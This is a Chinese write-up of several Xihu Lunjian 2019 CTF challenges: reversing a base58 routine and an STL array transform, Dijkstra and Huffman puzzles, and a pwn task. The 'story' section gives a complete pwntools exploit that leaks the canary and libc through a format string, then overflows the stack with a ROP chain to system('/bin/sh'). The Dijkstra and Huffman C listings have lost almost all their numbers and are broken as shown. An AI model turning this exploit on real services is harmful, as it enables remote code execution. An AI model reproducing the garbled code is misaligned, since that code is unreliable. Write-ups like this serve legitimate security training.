做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭

easycpp

c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组

main::{lambda(int)#1}::operator() 是相加函数

使用transform调用lambda(int)#1让数组从第二位到最后一位都加上第一位,然后将数组倒置

把处理后的数组与斐波拉契数组比较,若相等则输出flag,逆向求出输入即可。

testre

大部分代码没有用处,去掉混淆的代码,主要部分是这些

while ( v20 < v28 )
{
v21 = *(unsigned __int8 *)(v25input + v20);
for ( j = n - ; ; --j )
{
v10 = ;
if ( j <= v18 )
v10 = v21 != ;
if ( !v10 )
break;
v21 += v11[j] << ;
v11[j] = v21 % 0x3A;
v21 /= 0x3A;
if ( !j )
break;
}
++v20;
v18 = j;
}

整个程序就是base58的加密程序,通过谷歌特征值或者看比较字符串也不难发现是base系列算法,线上解密即可。

story

输入的地方有格式化字符串漏洞,checksec发现开启了cannary,泄露cannary的值和libc_main的地址

第二个输入的地方有栈溢出,把返回地址覆盖为system函数

因为是64位程序,所以“/bin/sh”参数要存在rdi寄存器(RDI RSI RDX RCX R8 R9)

因为上述

ROPgadget --binary story --only 'pop|ret' | grep 'rdi'  #找到rop链存参数"/bin/sh"

from pwn import *
context.log_level = 'debug'
elf = ELF('./story')
# p = process('./story')
p = remote('ctf2.linkedbyx.com', 10855)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil("Please Tell Your ID:")
# raw_input()
p.sendline("%23$p %25$p")
p.recvuntil('Hello ')
canary = int(p.recvuntil(' '), 16)
print('canary:' + hex(canary))
__libc_start_main = int(p.recvuntil('\n'), 16)-240
print('__libc_start_main:' + hex(__libc_start_main))
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
system = libc.symbols['system']
print('system:' + hex(system))
binsh = next(libc.search('/bin/sh'))
print('binsh_addr:' + hex(binsh)) p.recvuntil('Tell me the size of your story:\n')
p.sendline(str(129)) p.recvuntil('You can speak your story:')
payload = 'a'*0x88 + p64(canary) + p64(0) + p64(0x400bd3) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

最短路径

就是求最短路的题目,数据量很少手动也能做出来,使用 dijkstra算法算出最短路径和经过的路径。

#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
const int INF=0x3f3f3f3f;
int matrix[][],d[],vis[],pre[],path[];
int n=; /*
'flag{' 1
'FloraPrice' 2
'E11' 3
'E9' 4
'75D}' 5
'NoraFayette' 6
'E10' 7
'E13' 8
'E12' 9
'E14' 10
'E7' 11
'E6' 12
'SylviaAvondale' 13
'MyraLiddel' 14
'HelenLloyd' 15
'KatherinaRogers' 16
'VerneSanderson' 17
'E8' 18
'FrancesAnderson' 19
'E3' 20
'DorothyMurchison' 21
'EvelynJefferson' 22
'E5' 23
'E4' 24
'E1' 25
'E2' 26
'RuthDeSand' 27
'OliviaCarleton' 28
'EleanorNye' 29
'TheresaAnderson' 30
'PearlOglethorpe' 31
'BrendaRogers' 32
'LauraMandeville' 33
'CharlotteMcDowd' 34
*/ void dijkstra(int s){
for(int i=;i<=n;i++){
d[i]=matrix[][i];
pre[i]=s;
}
memset(vis,,sizeof(vis));
for(int k=;k<=n;k++){
int v=-;
for(int i=;i<=n;i++){
if(!vis[i]&&(v==-||d[i]<d[v]))v=i;
}
vis[v]=;
for(int i=;i<=n;i++){
int tmp=d[v]+matrix[v][i];
if(tmp<d[i]){
d[i]=tmp;
pre[i]=v;
}
}
}
}
void printPath(int en){
printf("从起点到%d的路径是:\n",en);
path[]=en;
int k=;
for(int i=pre[en];i!=;i=pre[i]){
path[k++]=i;
}
printf("");
for(int i=k-;i>=;i--){
printf("->%d",path[i]);
}
printf("\n");
} int main(){
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
matrix[i][j]=;
}
}
matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=;
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
if (matrix[i][j]!=)
matrix[j][i]=matrix[i][j];
}
} dijkstra();
printPath();
}

哈夫曼之谜

哈夫曼编码问题,左边字符右边权重,网上找个类似问题改下代码

const int maxvalue=;
const int maxbit=;
const int maxn=;
#include "iostream"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
using namespace std;
struct haffnode
{
char ch;
int weight;
int flag;
int parent;
int leftchild;
int rightchild;
};
struct code
{
int bit[maxn];
int start;
int weight;
char ch;
};
void haffman(int weight[],char text[],int n,haffnode hafftree[])
{
int j,m1,m2,x1,x2,i;
for(i=;i< *n-;i++)
{
if(i < n)
{
hafftree[i].weight=weight[i];
hafftree[i].ch=text[i];
}
else
{
hafftree[i].weight=;
hafftree[i].ch='#';
}
hafftree[i].parent=;
hafftree[i].flag=;
hafftree[i].leftchild=-;
hafftree[i].rightchild=-;
}
for(i=;i< n-;i++)
{
m1=m2=maxvalue;
x1=x2=;
for(j=;j<n+i;j++)
{
if(hafftree[j].weight<m1&&hafftree[j].flag==)
{
m2=m1;
x2=x1;
m1=hafftree[j].weight;
x1=j;
}
else if(hafftree[j].weight< m2&&hafftree[j].flag==)
{
m2=hafftree[j].weight; x2=j;
}
}
hafftree[x1].parent=n+i;
hafftree[x2].parent=n+i;
hafftree[x1].flag=;
hafftree[x2].flag=;
hafftree[n+i].weight=hafftree[x1].weight+hafftree[x2].weight;
hafftree[n+i].leftchild=x1; hafftree[n+i].rightchild=x2;
}
}
void haffmancode(haffnode hafftree[],int n,code haffcode[])
{
code cd; int i,j; int child,parent;
for( i=;i< n;i++)
{
cd.start=n-;
cd.weight=hafftree[i].weight;
cd.ch=hafftree[i].ch;
child=i;
parent=hafftree[child].parent;
while(parent!=)
{
if(hafftree[parent].leftchild==child)
cd.bit[cd.start]=;
else cd.bit[cd.start]=;
cd.start--;
child=parent;
parent=hafftree[child].parent;
}
for(j=cd.start+;j<n;j++)
haffcode[i].bit[j]=cd.bit[j];
haffcode[i].start=cd.start;
haffcode[i].weight=cd.weight;
haffcode[i].ch=cd.ch;
}
}
void ccode(haffnode hafftree[],int n)
{
int i,j=,m=*n-;
char b[maxn];
memset(b,'\0',sizeof(b));
i=m-;
scanf("%s",b);
while(b[j]!='\0')
{
if(b[j]=='')
i=hafftree[i].leftchild;
else
i=hafftree[i].rightchild;
if(hafftree[i].leftchild==-)
{
printf("%c",hafftree[i].ch);
i=m-;
}
j++;
}
}
int main( )
{
int n=;
int weight[]={, , , , ,,,,};
char text[]={'a','','{','f','g','','d','}','l'};
haffnode myhafftree[maxvalue];
code myhaffcode[maxvalue];
haffman(weight,text,n,myhafftree);
haffmancode(myhafftree,n,myhaffcode);
ccode(myhafftree,n);
return ;
}

输出flag

西湖论剑2019部分writeup的更多相关文章

  1. 西湖论剑2019复现-Web之首家线上赌场上线啦

    首页打开 经过测试发现name和code参数可控,但尝试注入没有发现注入点,于是直接扫描目录找思路 一扫描,果然有问题 目录扫描里面可以看到有一个/.DS_Store的文件,DS_Store是Mac ...

  2. 西湖论剑2019--一道MISC题目的解题思路

    TTL题的writeup 第一次打西湖论剑,啥都不懂,被题目虐的很惨,一共就做出来两道题,但也算有收获.这里分享一下TTL那道misc题目的writeup,算是给自己点安慰吧. 题目描述 我们截获了一 ...

  3. CTF西湖论剑

    一,西湖论剑 itoa()函数有3个参数:第一个参数是要转换的数字,第二个参数是要写入转换结果的目标字符串,第三个参数是转移数字时所用 的基数.在上例中,转换基数为10.10:十进制:2:二进制... ...

  4. 2019_西湖论剑_预选赛 testre

    2019_西湖论剑_预选赛 testre 程序中关键操作是比较ptr,其中夹杂的一部分v26计算是为了混淆我们的分析.那么我们只要跟踪ptr数组的生成便可,向上发现v11,加密操作数组. 接下来跟踪v ...

  5. 2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp

    这次比赛是我参加以来成绩最好的一次,这离不开我们的小团队中任何一个人的努力,熬了一整天才答完题,差点饿死在工作室(门卫大爷出去散步,把大门锁了出不去,还好学弟提了几个盒饭用网线从窗户钓上来才吃到了午饭 ...

  6. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  7. 2019西湖论剑网络安全技能大赛(大学生组)--奇怪的TTL字段(补充)

    鉴于有人不会将得到的16进制数据在winhex中转成图片,我在这里写一个详细的步骤. 首先就是将六张图片的十六进制数据找出并提取出来. 打开winhex,新建一个文档. 大小可以选1bytes 将数据 ...

  8. 西湖论剑2019-msc之奇怪的TTL

    msc1给了一串很长的TTL字符,参考一些隐写的文章,猜测是在ttl中藏了信息,题目是这样的 我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL ...

  9. 安恒西湖论剑线下上午CTF部分题目WP

    简单的做了两个题,一道逆向,一道misc,其他题目,因为博主上课,时间不太够,复现时间也只有一天,后面的会慢慢补上 先说RE1,一道很简单的win32逆向,跟踪主函数,R或者TAB按几下, 根据esp ...

随机推荐

  1. sh make.sh fatal error: opencv2/opencv.hpp: No such file or directory

    问题: sh make.sh fatal error: opencv2/opencv.hpp: No such file or directory 解决: sudo apt-get install l ...

  2. 安装Vue脚手架和创建一个简单的Demo

    https://www.cnblogs.com/pengjunhao/p/6762141.html https://www.cnblogs.com/yanxulan/p/8978732.html 查看 ...

  3. css一个元素垂直居中的6种方法

    方法一: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <titl ...

  4. C#自由组合本地缓存、分布式缓存和数据库的数据

    一.背景介绍: 我们在进行数据存储的时候,有时候会加入本地缓存.分布式缓存以及数据库存储三级的结构,当我们取值的时候经常是像下面这样的流程: 1.先取本地缓存,如果值存在直接返回 2.本地缓存不存在, ...

  5. 陈硕muduo

    https://github.com/chenshuo/muduo muduo 阅读 https://www.cnblogs.com/qbits/p/11101678.html

  6. watch 监控的新旧值一致问题处理

    watch 监控的新旧值一致问题处理 http://www.imooc.com/article/details/id/286654

  7. Java锁--Condition

    转载请注明出处:http://www.cnblogs.com/skywang12345/p/3496716.html Condition介绍 Condition的作用是对锁进行更精确的控制.Condi ...

  8. .NET界面开发新体验!DevExpress v19.2.4全新来袭

    DevExpress Universal Subscription(又名DevExpress宇宙版或DXperience Universal Suite)是全球使用广泛的.NET用户界面控件套包,De ...

  9. IMEI手机串码和serialno

    IMEI 1.IMEI是什么 国际移动设备识别码(International Mobile Equipment Identity number,IMEI),俗称“手机串号”.“手机串码”.“手机序列号 ...

  10. paramiko远程上传下载文件

    import paramiko import sys user = "root" pwd = " # 上传文件 def sftp_upload_file(server_p ...